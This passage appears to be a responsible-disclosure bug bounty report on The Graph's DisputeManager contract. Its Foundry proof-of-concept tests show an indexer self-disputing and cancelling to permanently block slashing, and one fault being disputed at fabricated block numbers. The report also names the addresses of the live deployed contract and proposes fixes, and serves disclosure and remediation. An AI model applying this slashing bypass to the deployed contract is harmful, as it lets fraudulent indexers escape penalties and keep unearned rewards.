  • MEDIUM/LOW (conditional): Attack B lets a fisherman multiply the penalty for a single fault up to maxSlashingCut per fabricated block number, but the governance charter (GIP-0085) explicitly directs arbitrators to draw exactly this case and punish the fisherman, so the practical impact is contingent on arbitrator behavior.
  • The same preemption flaw applies to indexing-fee disputes via createIndexingFeeDisputeV1 (DisputeManager.sol:495-552), where both entities and blockNumber are unverifiable.

Honest framing: this is a genuine bug in the dispute/slashing mechanism, verified with passing PoCs. I am reporting the primary vector (Attack A) as High because it lets a network participant permanently avoid slashing. I am not claiming it is a direct >$1M theft from a protocol contract in a single transaction - the fund impact is indirect (slashing is the recovery mechanism; disabling it lets a bad indexer keep fraudulent rewards). I disclose the GIP-0085 guidance on Attack B so the team can assess it on the merits.

Proof of Concept

Foundry tests in poc/PoC_DisputePreemption.t.sol, run against the real DisputeManager using the project's own test harness (packages/subgraph-service/test/unit/disputeManager). Full deployment includes real SubgraphService + HorizonStaking + token. Both tests pass.

To run: copy poc/PoC_DisputePreemption.t.sol into packages/subgraph-service/test/unit/disputeManager/, then from packages/subgraph-service:

forge test --match-contract PoC_DisputePreemption

Scenario A - indexer permanently shields a fault:

function test_Indexer_Shields_Fault_From_Legitimate_Fisherman() public useIndexer useAllocation(100_000 ether) {
    bytes32 poi = bytes32("FRAUDULENT_POI");
    uint256 faultBlock = block.number;

    // Indexer front-runs: consumes the (allocationId, poi, blockNumber) tuple
    bytes32 preemptiveId = _createIndexingDispute(allocationId, poi, faultBlock);
    assertTrue(disputeManager.isDisputeCreated(preemptiveId), "dispute created");

    // Legitimate fisherman tries to report the same fault: blocked immediately
    resetPrank(users.fisherman);
    token.approve(address(disputeManager), disputeManager.disputeDeposit());
    vm.expectRevert(
        abi.encodeWithSelector(IDisputeManager.DisputeManagerDisputeAlreadyCreated.selector, preemptiveId)
    );
    disputeManager.createIndexingDispute(allocationId, poi, faultBlock);

    // After the dispute period, the indexer cancels and recovers the deposit
    vm.warp(block.timestamp + disputeManager.disputePeriod() + 1);
    resetPrank(users.indexer);
    disputeManager.cancelDispute(preemptiveId);

    // Fisherman STILL cannot report the fault: tuple permanently consumed
    resetPrank(users.fisherman);
    token.approve(address(disputeManager), disputeManager.disputeDeposit());
    vm.expectRevert(
        abi.encodeWithSelector(IDisputeManager.DisputeManagerDisputeAlreadyCreated.selector, preemptiveId)
    );
    disputeManager.createIndexingDispute(allocationId, poi, faultBlock);
}

Scenario B - one fault, five independent slashes at fabricated block numbers:

function test_Single_Fault_Disputable_At_Arbitrary_BlockNumbers() public useIndexer useAllocation(100_000 ether) {
    bytes32 poi = bytes32("POI");
    for (uint256 i = 1; i <= 5; i++) {
        _createIndexingDispute(allocationId, poi, i); // all 5 succeed for ONE fault
    }
}

Verification evidence

Real contracts, local fork, no mocks for the contracts under test. The test harness deploys the actual DisputeManager, SubgraphService, HorizonStaking, and the GRT token, and exercises createIndexingDispute, cancelDispute, and isDisputeCreated on the deployed instances.

Deployed-vs-HEAD (the eligibility gate): the live Arbitrum One DisputeManager proxy (0x2FE023a575449AcB698648eD21276293Fa176f96) resolves to implementation 0x0fa6925f21d0493072ad29f3af66f4e11655faf1 (solc 0.8.27, Sourcify exact-match). Its _createIndexingDisputeWithAllocation contains the identical vulnerable line bytes32 disputeId = keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber)); (DeployedManager line 459), matching the repo HEAD DisputeManager.sol (line 441). So the bug exists in BOTH the deployed contract and the in-scope GitHub file. (Source diff vs repo HEAD is ~186 lines, all imports/natspec/legacy-function differences - the dispute-ID logic is identical.)

$ cd packages/subgraph-service && forge test --match-contract PoC_DisputePreemption

Ran 2 tests for test/unit/disputeManager/PoC_DisputePreemption.t.sol:PoC_DisputePreemption
[PASS] test_Indexer_Shields_Fault_From_Legitimate_Fisherman() (gas: 988443)
[PASS] test_Single_Fault_Disputable_At_Arbitrary_BlockNumbers() (gas: 1872923)
Suite result: ok. 2 passed; 0 failed; 0 skipped

Key code references:

  • DisputeManager.sol:130-140 - createIndexingDispute accepts caller blockNumber.
  • DisputeManager.sol:433-483 - _createIndexingDisputeWithAllocation: dispute ID = keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber)), no validation.
  • DisputeManager.sol:354-356 - isDisputeCreated true for any status, incl. Cancelled.
  • DisputeManager.sol:269-279 and 597-602 - cancelDispute refunds deposit, leaves ID consumed.
  • DisputeManager.sol:379-387 - query disputes DO include the fisherman (the contrast).
  • DisputeManager.sol:495-552 - indexing-fee disputes, same unverifiable-input flaw.
  • DisputeManager.sol:612-641 - _slashIndexer slashes up to maxSlashingCut per dispute.

What I am NOT claiming

  • I am not claiming a single-transaction, direct >$1M theft from a protocol contract.
  • I am not claiming the arbitrator is automatically defeated in every case. The primary finding (Attack A) does not require an arbitrator at all - the indexer's self-dispute is cancelled, so the fault is never arbitrated; the tuple is simply consumed.
  • I am not claiming Attack B is unmitigated: GIP-0085 §10a/§17 give arbitrators an explicit off-chain path to draw fabricated-blockNumber disputes and punish the fisherman. I present it as secondary and contingent.
  • I could not verify whether this exact issue is already known in Immunefi's private submissions database.

Novelty

I searched the graphprotocol/contracts and graphprotocol/graph-node issues and PRs, and the GitHub advisory database, for terms including "dispute", "blockNumber", "preempt", "self dispute", "dispute ID", "DisputeManagerDisputeAlreadyCreated", and "cancel dispute". I found no issue, PR, advisory, or CVE covering the preemption (slashing-bypass) chain in Attack A - that specific exploit is not described anywhere public.

I want to be fully transparent about the parts that ARE public, because honesty matters:

  • OZ Horizon audit (2025-05), finding L-09 "Double Jeopardy" explicitly documents that indexing-dispute IDs are (allocationId, poi, blockNumber) and do NOT include the fisherman, and notes query IDs DO include it. The project's own unit test (test_Indexing_Create_RevertWhen_DisputeAlreadyCreated) asserts that a different fisherman reverts when the tuple is already taken - so the no-fisherman ID is an intentional, tested design, not an accident. My finding is the consequence the design creates (indexer self-disputes to permanently consume the tuple), which the audit and tests do not address.
  • GIP-0085 Horizon Arbitration Charter (approved 2025-10-20) §10a explicitly defines the indexing disputable element as the POI "plus the block number when it was submitted onchain," and instructs arbitrators to rule a dispute whose blockNumber does not match the on-chain POI submission as a Draw; §17 lets arbitrators punish dispute-spamming fishermen. So Attack B's fabricated-blockNumber vector is explicitly anticipated and off-chain mitigated - I disclose this rather than claim it as novel.
  • GIP-0068 documents the cancel-after-dispute-period feature and flexible slashing up to maxSlashingCut - the building blocks of Attack A are individually public, but the combination (self-dispute then cancel to permanently shield a fault from any future fisherman) is not documented anywhere.

Two additional relevant public artifacts:

  • Issue #506 (closed, GIP) "Validate the POI is from the canonical chain and close to chain head" - the team already knows POI freshness/block validation is a gap, but it targets POI submission, not the dispute-ID construction I report.
  • PR #386 (2021, audited) added the fisherman to the L1 query-dispute ID. The Horizon query-dispute path kept that design; only the indexing-dispute path dropped the fisherman in favor of blockNumber. That asymmetry is the crux.

Version eligibility

Verified against main at HEAD 687d928b (2026-08-03), and against the deployed Arbitrum One implementation (proxy 0x2FE023a575449AcB698648eD21276293Fa176f96 -> impl 0x0fa6925f21d0493072ad29f3af66f4e11655faf1, Sourcify exact-match, solc 0.8.27): the deployed bytecode contains the same vulnerable 3-arg createIndexingDispute and the same keccak256(abi.encodePacked(_allocationId, _poi, _blockNumber)) dispute ID (deployed source line 459). The blockNumber parameter was introduced by commit 97dceb13 (2025-06-05) to fix "repeated same-POI disputes" (the PR #1183 Missed-Issues review). The flaw is live on the deployed contract.

Recommendation

Bind the dispute to something the contract can verify on-chain. Two options:

  1. Record (allocationId, poi, blockNumber) when a POI is presented (in AllocationHandler.presentPOI), and have createIndexingDispute require that exact tuple was actually presented. Then only the true block of a real presentation is dispute-able, and re-filing the same tuple is naturally blocked.

  2. Add the fisherman to the indexing-dispute ID, matching the existing audited design for query disputes:

    bytes32 disputeId = keccak256(
        abi.encodePacked(_allocationId, _poi, _blockNumber, _fisherman)
    );

    This stops a pre-emptive self-dispute from consuming the tuple for a legitimate fisherman. It does not fix the unverifiable-blockNumber double-slash by itself, so option 1 (or an on-chain POI-presentation registry) is the stronger fix.

References

  • Vulnerable code: packages/subgraph-service/contracts/DisputeManager.sol (createIndexingDispute, _createIndexingDisputeWithAllocation, _createIndexingFeeDisputeV1, cancelDispute).
  • PoC: poc/PoC_DisputePreemption.t.sol (included; 2 passing tests).
  • Introducing change: commit 97dceb13 (2025-06-05), the blockNumber-based dispute ID.
  • Prior context: OZ "Missed Issues" PR #1183 review (added blockNumber to allow one dispute per POI posting); OZ Horizon audit 2025-05 finding L-09 "Double Jeopardy" (documents the no-fisherman indexing dispute ID and the query-dispute contrast); issue #506 (POI freshness, GIP); L1/query dispute ID with fisherman (PR #386, audited); unit test test_Indexing_Create_RevertWhen_DisputeAlreadyCreated (intentional first-fisherman-wins design).
  • Governance context: GIP-0085 Horizon Arbitration Charter §10a (draw for blockNumber mismatch), §17 (punish dispute-spamming fishermen), §10b (per-epoch slashing cap), §16 (cancellation); GIP-0068 (cancel-after-period + flexible slashing).
  • Deployed: Arbitrum One DisputeManager proxy 0x2FE023a575449AcB698648eD21276293Fa176f96 -> impl 0x0fa6925f21d0493072ad29f3af66f4e11655faf1 (Sourcify exact, solc 0.8.27).
  • Live config: packages/subgraph-service/ignition/configs/migrate.arbitrumOne.json5 (maxSlashingCut 10%, fishermanRewardCut 50%, disputeDeposit 10k GRT, period 28d).
  • Repo HEAD: 687d928b (2026-08-03).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment